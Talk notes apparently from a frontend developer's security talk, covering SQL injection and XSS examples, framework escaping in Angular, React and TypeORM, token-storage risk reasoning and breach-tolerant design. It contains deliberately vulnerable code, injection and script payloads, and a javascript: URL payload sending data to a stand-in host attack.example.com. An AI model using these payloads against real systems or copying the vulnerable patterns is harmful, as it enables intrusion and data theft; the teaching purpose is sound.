← All articles

[Talk Notes] Application Security from a Frontend Developer's Perspective

Talk notes on moving beyond obvious vulnerabilities—automating XSS/SQLi defenses, realistic threat modeling, and designing systems that survive even when something goes wrong.

Published
[Talk Notes] Application Security from a Frontend Developer's Perspective cover image

Talk notes from the following event.

https://nishinomiya.connpass.com/event/356978/https://nishinomiya.connpass.com/event/356978/


Where to start learning security

Obvious vulnerabilities

  • When you start learning security, "obvious vulnerabilities" come first

  • Many books cover them

  • SQL injection

Sending /user?name=' OR '1'='1 can return every user:

app.get("/user", (req, res) => {
  const name = req.query.name;
  db.get(`SELECT * FROM users WHERE name = '${name}'`, (err, row) => {
    res.send(`Hello ${row.name}`);
  });
});
  • XSS

Adding ?name=<script>alert('XSS') to the URL may execute JavaScript as-is:

<div id="welcome"></div>
<script>
  const params = new URLSearchParams(location.search);
  const name = params.get("name");
  document.getElementById("welcome").innerHTML = `Welcome, ${name}`;
</script>
  • Testing often follows the Web Security Testing Guide (WSTG)
    • Covers modern web tech and attack techniques
    • Test cases are organized systematically
    • Maps to OWASP Top 10
    • Recommends combining manual tests and automated tools
Category code Category name Summary
WSTG-INFO Information gathering Investigate structure, technology, entry points
WSTG-CONF Configuration and deployment Check insecure configs, defaults, environment leaks
WSTG-IDENT Identity management Registration, login, password handling
WSTG-AUTHN Authentication Bypass, strength, session persistence
WSTG-AUTHZ Authorization Access control and privilege escalation
WSTG-SESS Session management Token generation, management, expiry
WSTG-INPV Input validation Sanitization, validation, injection defenses
WSTG-CRYP Cryptography Encryption in transit and at rest
WSTG-BUSL Business logic Abuse along business flows (e.g., fraudulent discounts)
WSTG-CLNT Client-side JavaScript, DOM manipulation
WSTG-API API security Auth and input validation for REST, GraphQL, etc.
WSTG-MISC Other Logging, monitoring, error handling

What you have to think about in practice

Automate defenses

XSS: use a JavaScript framework

Angular

  • Automatic escaping
  • Data binding is filtered by Angular even with innerHTML
  • To inject scripts you must explicitly opt in with DomSanitizer
@Component({
  template: `
        <p>{{ htmlSnippet }}</p>
        <p [innerHTML]="htmlSnippet"></p>
  `
})
class SomeComponent {
  constructor(private sanitizer: DomSanitizer) {}

  htmlSnippet = this.sanitizer.bypassSecurityTrustHtml(`Template <script>alert("XSS")</script> <b>Syntax</b>`);
}

Reference: https://blog.lacolaco.net/posts/trusted-types-and-angular-security/

React

  • Escapes by default
  • Disabled with dangerouslySetInnerHTML
  • Abuse of javascript: URLs
const App = () => {
  // Malicious value
  const userInput = "');location.href = 'http://attack.example.com?data=secret_data';//";

  const hrefAction = `
    alert('${userInput}');
  `;

  return (
    <div>
      <a href={`javascript:${hrefAction}`}>link</a>
    </div>
  );
};

SQL injection

  • Use TypeORM or another framework
  • Automatic escaping applies
  • Even raw SQL in TypeORM is safe if you pass parameters correctly
app.get("/user", (req, res) => {
  const name = req.query.name;
  db.get(`SELECT * FROM users WHERE name = ?`, name, (err, row) => {
    res.send(`Hello ${row.name}`);
  });
});

Think about what can happen

Authentication, for example

  • Auth0 treats storing access tokens in LocalStorage as risky (CSRF—stolen tokens can drive the account via curl) and uses in-memory tokens plus iframes for persistence
  • Firebase Authentication stores tokens in IndexedDB, so you can view or steal them from DevTools
  • Calling Firebase Authentication "weaker" on that basis alone is nonsense
  • I think risk assessment should be "who can do what"
  • Firebase Authentication lets users delete their own account without going through app offboarding
  • In a normal environment, others cannot obtain someone else's token, so they cannot operate another account
  • What if a malicious user sits next to you and uses your PC while you are away?
  • If you hear the full chain—"open a colleague's PC, hit the URL, steal the Firebase Authentication token, curl app endpoints from your machine bypassing validation to operate their account"—everyone probably thinks:
  • "Why bother stealing the token—just use the PC directly."
    • Wait too long and the token expires anyway.
  • Firebase Authentication still stores tokens in IndexedDB and has users worldwide

XSS

  • Posting <script>alert('hello')</script> on a bulletin board may execute JS

  • With optimistic UI and backend sanitization:

    • You might only amuse yourself with alerts or redirects on your own screen
  • Storing unsanitized script strings in the DB and executing them for every viewer who reads them is clearly a vulnerability

  • Impact levels

    • Anonymous bulletin boards: users rarely enter PII or card data even if someone is malicious
      • Show something with alert
      • Redirect to a malicious site
      • Break other features
    • As services grow more capable:
      • Send form change events to a third party
      • Listen for submit and exfiltrate input
    • "What can others do?" marks the vulnerability boundary; attackers also maximize benefit by affecting "how many people" for "how long" unnoticed

From "nothing happens" to "something might happen"

  • "Chaos Kong: Netflix's test that takes down entire cloud regions" (2015)

  • Chaos Kong randomly kills servers (even in production, unpredictably) to test failover

  • (The idea is) terrifying

  • Design so vulnerabilities are not fatal

  • Do not hold information valuable to attackers

    • Non-transparent payments mean XSS cannot steal card numbers
    • Without PII or card data, successful XSS yields little
  • Split what you must keep for operations

    • Login: Firebase Authentication
    • Payments: Stripe
    • Ephemeral data: ElastiCache / Elastic Cloud
    • Sometimes user Web Storage is enough

Summary

  • The mistake in security risk assessment is assuming "malicious users cannot exist"
    • Security work exists because of them; without them I would happily talk to MySQL from the frontend—I hold a personal grudge about the extra effort
  • "What a malicious actor could do" should be separate from the common view that "nobody would do that"
  • Security talks often emphasize "do not build vulnerable entry points"
  • What matters is risk management starting from "what is possible"
  • When thinking about security, get in the habit of asking not "what might happen to me" but "if I—someone who knows this app extremely well—were malicious, what could I cause?"
    • That attacker mindset helps security assessment